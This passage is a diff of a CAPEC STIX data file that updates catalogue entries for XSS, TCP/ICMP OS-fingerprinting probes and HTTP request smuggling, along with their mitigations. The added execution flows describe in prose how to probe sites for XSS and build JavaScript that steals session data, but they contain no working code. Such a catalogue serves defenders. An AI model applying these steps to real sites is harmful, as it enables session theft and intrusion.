", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--c77ec906-0371-482e-8b14-a4a41b6b5b74" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--e01b3e67-6f6d-47fe-a52a-568341eaba2c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--e01b3e67-6f6d-47fe-a52a-568341eaba2c", "source_ref": "course-of-action--094a4c09-e49c-422b-b8ec-b51c19dba18c", "relationship_type": "mitigates", "target_ref": "attack-pattern--c77ec906-0371-482e-8b14-a4a41b6b5b74" }, { + "id": "course-of-action--bb7c30e0-981f-4cc9-a85a-920f323e51d3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-244-1", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Utilize strict type, character, and encoding enforcement.", - "type": "course-of-action", - "id": "course-of-action--bb7c30e0-981f-4cc9-a85a-920f323e51d3" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--b1be8912-a434-4763-a021-096909c3c231", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b1be8912-a434-4763-a021-096909c3c231", "source_ref": "course-of-action--bb7c30e0-981f-4cc9-a85a-920f323e51d3", "relationship_type": "mitigates", "target_ref": "attack-pattern--c77ec906-0371-482e-8b14-a4a41b6b5b74" }, { + "id": "relationship--a2dd74b7-ad13-4193-b646-3ae46944b3c3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--a2dd74b7-ad13-4193-b646-3ae46944b3c3", "source_ref": "course-of-action--e9836d98-9116-4902-ba62-2c4fcc7e03c3", "relationship_type": "mitigates", "target_ref": "attack-pattern--c77ec906-0371-482e-8b14-a4a41b6b5b74" }, { + "id": "relationship--b4100acc-da5c-4fd0-a273-8a3d0fe4ea3f", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b4100acc-da5c-4fd0-a273-8a3d0fe4ea3f", "source_ref": "course-of-action--63ed5cb5-5feb-4677-8623-3c5552f796ee", "relationship_type": "mitigates", "target_ref": "attack-pattern--c77ec906-0371-482e-8b14-a4a41b6b5b74" }, { + "id": "relationship--1d630925-153a-43e4-a045-6c039ccdbdbe", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1d630925-153a-43e4-a045-6c039ccdbdbe", "source_ref": "course-of-action--26850710-b983-423b-962a-5fd4b550fa0e", "relationship_type": "mitigates", "target_ref": "attack-pattern--c77ec906-0371-482e-8b14-a4a41b6b5b74" }, { + "id": "relationship--9508c797-2ba7-4939-a345-8ab83ec69feb", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9508c797-2ba7-4939-a345-8ab83ec69feb", "source_ref": "course-of-action--4f20a4a7-cb6a-477b-a12a-13c5e9d03353", "relationship_type": "mitigates", "target_ref": "attack-pattern--c77ec906-0371-482e-8b14-a4a41b6b5b74" }, { + "id": "relationship--9b5c6c90-751d-4b9c-b88f-480109d98c30", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--9b5c6c90-751d-4b9c-b88f-480109d98c30", "source_ref": "course-of-action--f31f11cb-6403-4667-bf43-d77242ac7ae2", "relationship_type": "mitigates", "target_ref": "attack-pattern--c77ec906-0371-482e-8b14-a4a41b6b5b74" }, { + "id": "relationship--76657fee-14db-472c-9608-b7bce62e9fb4", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2019-04-04T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--76657fee-14db-472c-9608-b7bce62e9fb4", "source_ref": "course-of-action--fd1a110f-6520-479b-9f42-9c88acdbf90e", "relationship_type": "mitigates", "target_ref": "attack-pattern--c77ec906-0371-482e-8b14-a4a41b6b5b74" }, { + "id": "attack-pattern--66b042e0-f88f-4aa5-9d87-1e71a4b3dcd8", "name": "XSS Using Doubled Characters", "description": "The attacker bypasses input validation by using doubled characters in order to perform a cross-site scripting attack. Some filters fail to recognize dangerous sequences if they are preceded by repeated characters. For example, by doubling the < before a script command, (<", "\n Web applications that accept name value pairs in a HTTP Query string are inherently at risk to any value (or name for that matter) that an attacker would like to enter in the query string. This can be done manually via web browser or trivially scripted to post the query string to multiple sites. In the latter case, in the instance of many sites using similar infrastructure with predictable http queries being accepted and operated on (such as blogging software, Google applications, and so on), a single malicious payload can be scripted to target a wide variety of sites.\n Web 2.0 type sites like Technorati and del.icio.us rely on user generated content like tags to build http links that are displayed to other users. del.icio.us allows users to identify sites, tag them with metadata and provide URL, descriptions and more data. This data is then echoed back to any other web browser that is interested in the link. If the data is not validated by the del.icio.us site properly then an arbitrary code can be added into the standard http string sent to del.icio.us by the attacker, for example formatted as normal content with a URL and description and tagged as Java, and available to be clicked on (and executed by) any user browsing for Java content that clicks on this trojaned content.\n " ], + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Spider: Using a browser or an automated tool, an attacker follows all public links on a web site. They record all the links they find.

    2. Techniques
    Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL.
    Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms.
    Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery.

Experiment

  1. Attempt variations on input parameters: Possibly using an automated tool, an attacker requests variations on the URLs they spidered before. They send parameters that include variations of payloads. They record all the responses from the server that include unmodified versions of their script.

    2. Techniques
    Use a list of XSS probe strings to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier.
    Use a proxy tool to record results of manual input of XSS probes in known URLs.

Exploit

  1. Steal session IDs, credentials, page content, etc.: As the attacker succeeds in exploiting the vulnerability, they can choose to steal user's credentials in order to reuse or to analyze them later on.

    2. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker.
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately.

  2. Forceful browsing: When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not).

    3. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site
    Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities).

  3. Content spoofing: By manipulating the content, the attacker targets the information that the user would like to get from the website.

    4. Techniques
    Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page.
", "x_capec_status": "Draft", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--28aff255-abc8-4392-872c-61f78d4fe55b" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "relationship--1cc8dc0d-4869-4cb5-8228-263779929d0c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--1cc8dc0d-4869-4cb5-8228-263779929d0c", "source_ref": "course-of-action--094a4c09-e49c-422b-b8ec-b51c19dba18c", "relationship_type": "mitigates", "target_ref": "attack-pattern--28aff255-abc8-4392-872c-61f78d4fe55b" }, { + "id": "relationship--fd59e3fd-3d5b-455c-8cdc-46f9ce5cd274", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--fd59e3fd-3d5b-455c-8cdc-46f9ce5cd274", "source_ref": "course-of-action--040cd51a-446a-4612-a9d0-4a90119d5191", "relationship_type": "mitigates", "target_ref": "attack-pattern--28aff255-abc8-4392-872c-61f78d4fe55b" }, { + "id": "course-of-action--97eb8eeb-5e17-4a04-803b-c4de40723fc9", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-32-2", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Design: Server side developers should not proxy content via XHR or other means, if a http proxy for remote content is setup on the server side, the client's browser has no way of discerning where the data is originating from.", - "type": "course-of-action", - "id": "course-of-action--97eb8eeb-5e17-4a04-803b-c4de40723fc9" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--39f61c35-1731-4cb8-a8eb-bcd81960df63", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--39f61c35-1731-4cb8-a8eb-bcd81960df63", "source_ref": "course-of-action--97eb8eeb-5e17-4a04-803b-c4de40723fc9", "relationship_type": "mitigates", "target_ref": "attack-pattern--28aff255-abc8-4392-872c-61f78d4fe55b" }, { + "id": "relationship--b600559a-7621-438f-92e9-088c3cdf5117", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--b600559a-7621-438f-92e9-088c3cdf5117", "source_ref": "course-of-action--e9836d98-9116-4902-ba62-2c4fcc7e03c3", "relationship_type": "mitigates", "target_ref": "attack-pattern--28aff255-abc8-4392-872c-61f78d4fe55b" }, { + "id": "relationship--0989752b-6aa5-43c2-afc2-0873faa1782e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--0989752b-6aa5-43c2-afc2-0873faa1782e", "source_ref": "course-of-action--26850710-b983-423b-962a-5fd4b550fa0e", "relationship_type": "mitigates", "target_ref": "attack-pattern--28aff255-abc8-4392-872c-61f78d4fe55b" }, { + "id": "relationship--00dd576f-a986-4094-aa7c-3eb1b57dc7d3", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--00dd576f-a986-4094-aa7c-3eb1b57dc7d3", "source_ref": "course-of-action--4f20a4a7-cb6a-477b-a12a-13c5e9d03353", "relationship_type": "mitigates", "target_ref": "attack-pattern--28aff255-abc8-4392-872c-61f78d4fe55b" }, { + "id": "relationship--dc0ab859-a9fe-4f70-a2f6-4e43fa7ba77b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--dc0ab859-a9fe-4f70-a2f6-4e43fa7ba77b", "source_ref": "course-of-action--f31f11cb-6403-4667-bf43-d77242ac7ae2", "relationship_type": "mitigates", "target_ref": "attack-pattern--28aff255-abc8-4392-872c-61f78d4fe55b" }, { + "id": "course-of-action--86dea14b-a9d1-461f-a1e0-ff289490c27e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-32-7", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Session tokens for specific host", - "type": "course-of-action", - "id": "course-of-action--86dea14b-a9d1-461f-a1e0-ff289490c27e" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--df6702e1-0cee-4251-8188-443a16f750d1", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--df6702e1-0cee-4251-8188-443a16f750d1", "source_ref": "course-of-action--86dea14b-a9d1-461f-a1e0-ff289490c27e", "relationship_type": "mitigates", "target_ref": "attack-pattern--28aff255-abc8-4392-872c-61f78d4fe55b" }, { + "id": "relationship--5e5619cd-3104-4816-91eb-2836496ecc8c", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5e5619cd-3104-4816-91eb-2836496ecc8c", "source_ref": "course-of-action--fd1a110f-6520-479b-9f42-9c88acdbf90e", "relationship_type": "mitigates", "target_ref": "attack-pattern--28aff255-abc8-4392-872c-61f78d4fe55b" }, { + "id": "course-of-action--39d1f978-5e37-48f2-aa6e-6e8804ec9f1b", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "name": "coa-32-9", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "description": "Implementation: Privileges are constrained, if a script is loaded, ensure system runs in chroot jail or other limited authority mode", - "type": "course-of-action", - "id": "course-of-action--39d1f978-5e37-48f2-aa6e-6e8804ec9f1b" + "x_capec_version": "3.3", + "type": "course-of-action" }, { + "id": "relationship--5b1356d6-39be-4183-9bbf-e8fa5b7f799e", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "object_marking_refs": [ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], + "x_capec_version": "3.3", "type": "relationship", - "id": "relationship--5b1356d6-39be-4183-9bbf-e8fa5b7f799e", "source_ref": "course-of-action--39d1f978-5e37-48f2-aa6e-6e8804ec9f1b", "relationship_type": "mitigates", "target_ref": "attack-pattern--28aff255-abc8-4392-872c-61f78d4fe55b" }, { + "id": "attack-pattern--a15fddec-fd55-4c0b-8681-4e57ba5bc20d", "name": "TCP Timestamp Probe", "description": "This OS fingerprinting probe examines the remote server's implementation of TCP timestamps. Not all operating systems implement timestamps within the TCP header, but when timestamps are used then this provides the attacker with a means to guess the operating system of the target. The attacker begins by probing any active TCP service in order to get response which contains a TCP timestamp. Different Operating systems update the timestamp value using different intervals. This type of analysis is most accurate when multiple timestamp responses are received and then analyzed. TCP timestamps can be found in the TCP Options field of the TCP header.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -20672,12 +22128,13 @@ ] }, "x_capec_abstraction": "Detailed", + "x_capec_execution_flow": "

Execution Flow

Explore

  1. Determine if timestamps are present.: The adversary sends a probe packet to the remote host to identify if timestamps are present.

Experiment

  1. Record and analyze timestamp values.: If the remote host is using timestamp, obtain several timestamps, analyze them and compare them to known values.

    2. Techniques
    The adversary sends several requests and records the timestamp values.
    The adversary analyzes the timestamp values and determines an average increments per second in the timestamps for the target.
    The adversary compares this result to a database of known TCP timestamp increments for a possible match.
", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--a15fddec-fd55-4c0b-8681-4e57ba5bc20d" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--cd7d1252-30ed-4ba1-a334-52f7a8b7c748", "name": "TCP Sequence Number Probe", "description": "This OS fingerprinting probe tests the target system's assignment of TCP sequence numbers. One common way to test TCP Sequence Number generation is to send a probe packet to an open port on the target and then compare the how the Sequence Number generated by the target relates to the Acknowledgement Number in the probe packet. Different operating systems assign Sequence Numbers differently, so a fingerprint of the operating system can be obtained by categorizing the relationship between the acknowledgement number and sequence number as follows: 1) the Sequence Number generated by the target is Zero, 2) the Sequence Number generated by the target is the same as the acknowledgement number in the probe, 3) the Sequence Number generated by the target is the acknowledgement number plus one, or 4) the Sequence Number is any other non-zero number.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -20739,11 +22196,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--cd7d1252-30ed-4ba1-a334-52f7a8b7c748" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--2c22407a-efdb-4b20-81f6-ab8a73ded348", "name": "TCP (ISN) Greatest Common Divisor Probe", "description": "This OS fingerprinting probe sends a number of TCP SYN packets to an open port of a remote machine. The Initial Sequence Number (ISN) in each of the SYN/ACK response packets is analyzed to determine the smallest number that the target host uses when incrementing sequence numbers. This information can be useful for identifying an operating system because particular operating systems and versions increment sequence numbers using different values. The result of the analysis is then compared against a database of OS behaviors to determine the OS type and/or version.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -20805,11 +22262,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--2c22407a-efdb-4b20-81f6-ab8a73ded348" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--4ac0eeac-2467-403a-9c64-be3a7b3f3083", "name": "TCP (ISN) Counter Rate Probe", "description": "This OS detection probe measures the average rate of initial sequence number increments during a period of time. Sequence numbers are incremented using a time-based algorithm and are susceptible to a timing analysis that can determine the number of increments per unit time. The result of this analysis is then compared against a database of operating systems and versions to determine likely operation system matches.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -20871,11 +22328,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--4ac0eeac-2467-403a-9c64-be3a7b3f3083" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--12d80b47-8e4c-4646-bcc3-2bd7059a44e1", "name": "TCP (ISN) Sequence Predictability Probe", "description": "This type of operating system probe attempts to determine an estimate for how predictable the sequence number generation algorithm is for a remote host. Statistical techniques, such as standard deviation, can be used to determine how predictable the sequence number generation is for a system. This result can then be compared to a database of operating system behaviors to determine a likely match for operating system and version.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -20943,11 +22400,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--12d80b47-8e4c-4646-bcc3-2bd7059a44e1" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--1d4575c5-62ed-4269-b372-b2aba82a7b4c", "name": "TCP Congestion Control Flag (ECN) Probe", "description": "This OS fingerprinting probe checks to see if the remote host supports explicit congestion notification (ECN) messaging. ECN messaging was designed to allow routers to notify a remote host when signal congestion problems are occurring. Explicit Congestion Notification messaging is defined by RFC 3168. Different operating systems and versions may or may not implement ECN notifications, or may respond uniquely to particular ECN flag types.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -21009,11 +22466,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--1d4575c5-62ed-4269-b372-b2aba82a7b4c" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--c4dd22c6-ad54-47c8-b0ab-d7f3cad9e026", "name": "TCP Initial Window Size Probe", "description": "This OS fingerprinting probe checks the initial TCP Window size. TCP stacks limit the range of sequence numbers allowable within a session to maintain the \"connected\" state within TCP protocol logic. The initial window size specifies a range of acceptable sequence numbers that will qualify as a response to an ACK packet within a session. Various operating systems use different Initial window sizes. The initial window size can be sampled by establishing an ordinary TCP connection.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -21075,11 +22532,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--c4dd22c6-ad54-47c8-b0ab-d7f3cad9e026" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--c0ad20d0-8b30-460c-a060-da46582bdbec", "name": "TCP Options Probe", "description": "This OS fingerprinting probe analyzes the type and order of any TCP header options present within a response segment. Most operating systems use unique ordering and different option sets when options are present. RFC 793 does not specify a required order when options are present, so different implementations use unique ways of ordering or structuring TCP options. TCP options can be generated by ordinary TCP traffic.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -21141,11 +22598,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--c0ad20d0-8b30-460c-a060-da46582bdbec" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--2d865521-82f5-42e5-a595-dc93f60dfd3f", "name": "TCP 'RST' Flag Checksum Probe", "description": "This OS fingerprinting probe performs a checksum on any ASCII data contained within the data portion or a RST packet. Some operating systems will report a human-readable text message in the payload of a 'RST' (reset) packet when specific types of connection errors occur. RFC 1122 allows text payloads within reset packets but not all operating systems or routers implement this functionality.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -21207,11 +22664,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--2d865521-82f5-42e5-a595-dc93f60dfd3f" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--1059e91f-43ff-4a00-bc74-4110979f5247", "name": "ICMP Error Message Quoting Probe", "description": "An adversary uses a technique to generate an ICMP Error message (Port Unreachable, Destination Unreachable, Redirect, Source Quench, Time Exceeded, Parameter Problem) from a target and then analyze the amount of data returned or \"Quoted\" from the originating request that generated the ICMP error message. For this purpose \"Port Unreachable\" error messages are often used, as generating them requires the attacker to send a UDP datagram to a closed port on the target. The goal of this analysis to make inferences about the type of operating system or firmware that sent the error message in reply. This is useful for identifying unique characteristics of operating systems because the RFC-1122 expected behavior reads: \"Every ICMP error message includes the Internet header and at least the first 8 data octets of the datagram that triggered the error; more than 8 octets MAY be sent [...].\" This contrasts with RFC-792 expected behavior, which limited the quoted text to 64 bits (8 octets). Given the latitude in the specification the resulting RFC-1122 stack implementations often respond with a high degree of variability in the amount of data quoted in the error message because \"older\" or \"legacy\" stacks may comply with the RFC-792 specification, while other stacks may choose a longer format in accordance with RFC-1122. As a general rule most operating systems or firmware will quote the first 8 bytes of the datagram triggering the error, but some IP stacks will quote more than the first 8 bytes of data.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -21280,11 +22737,11 @@ }, "x_capec_abstraction": "Detailed", "x_capec_status": "Stable", - "x_capec_version": "3.2", - "type": "attack-pattern", - "id": "attack-pattern--1059e91f-43ff-4a00-bc74-4110979f5247" + "x_capec_version": "3.3", + "type": "attack-pattern" }, { + "id": "attack-pattern--d845a25b-b140-438c-91d7-30b709bb6e18", "name": "HTTP Request Smuggling", "description": "HTTP Request Smuggling results from the discrepancies in parsing HTTP requests between HTTP entities such as web caching proxies or application firewalls. Entities such as web servers, web caching proxies, application firewalls or simple proxies often parse HTTP requests in slightly different ways. Under specific situations where there are two or more such entities in the path of the HTTP request, a specially crafted request is seen by two attacked entities as two different sets of requests. This allows certain requests to be smuggled through to a second entity without the first one realizing it.", "created_by_ref": "identity--e50ab59c-5c4f-4d40-bf6a-d58418d89bcd", @@ -21292,7 +22749,7 @@ "marking-definition--17d82bb2-eeeb-4898-bda5-3ddbcd2b799d" ], "created": "2014-06-23T00:00:00.000Z", - "modified": "2018-07-31T00:00:00.000Z", + "modified": "2020-07-30T00:00:00.000Z", "external_references": [ { "source_name": "capec", @@ -21304,11 +22761,6 @@ "url": "http://cwe.mitre.org/data/definitions/444.html", "external_id": "CWE-444" }, - { - "source_name": "cwe", - "url": "http://cwe.mitre.org/data/definitions/436.html", - "external_id": "CWE-436" - }, { "source_name": "cwe", "url": "http://cwe.mitre.org/data/definitions/707.html", @@ -21351,62 +22803,67 @@ "When using Sun Java System Web Proxy Server 3.x or 4.x in conjunction with Sun ONE/iPlanet 6.x, Sun Java System Application Server 7.x or 8.x, it is possible to bypass certain application firewall protections, hijack web sessions, perform Cross Site Scripting or poison the web proxy cache using HTTP Request Smuggling. Differences in the way HTTP requests are parsed by the Proxy Server and the Application Server enable malicious requests to be smuggled through to the Application Server, thereby exposing the Application Server to aforementioned attacks. See also: CVE-2006-6276", "Apache server 2.0.45 and version before 1.3.34, when used as a proxy, easily lead to web cache poisoning and bypassing of application firewall restrictions because of non-standard HTTP behavior. Although the HTTP/1.1 specification clearly states that a request with both \"Content-Length\" and a \"Transfer-Encoding: chunked\" headers is invalid, vulnerable versions of Apache accept such requests and reassemble the ones with \"Transfer-Encoding: chunked\" header without replacing the existing \"Content-Length\" header or adding its own. This leads to HTTP Request Smuggling using a request with a chunked body and a header with \"Content-Length: 0\". See also: CVE-2005-2088" ], + "x_capec_execution_flow": "

Execution Flow

Explore

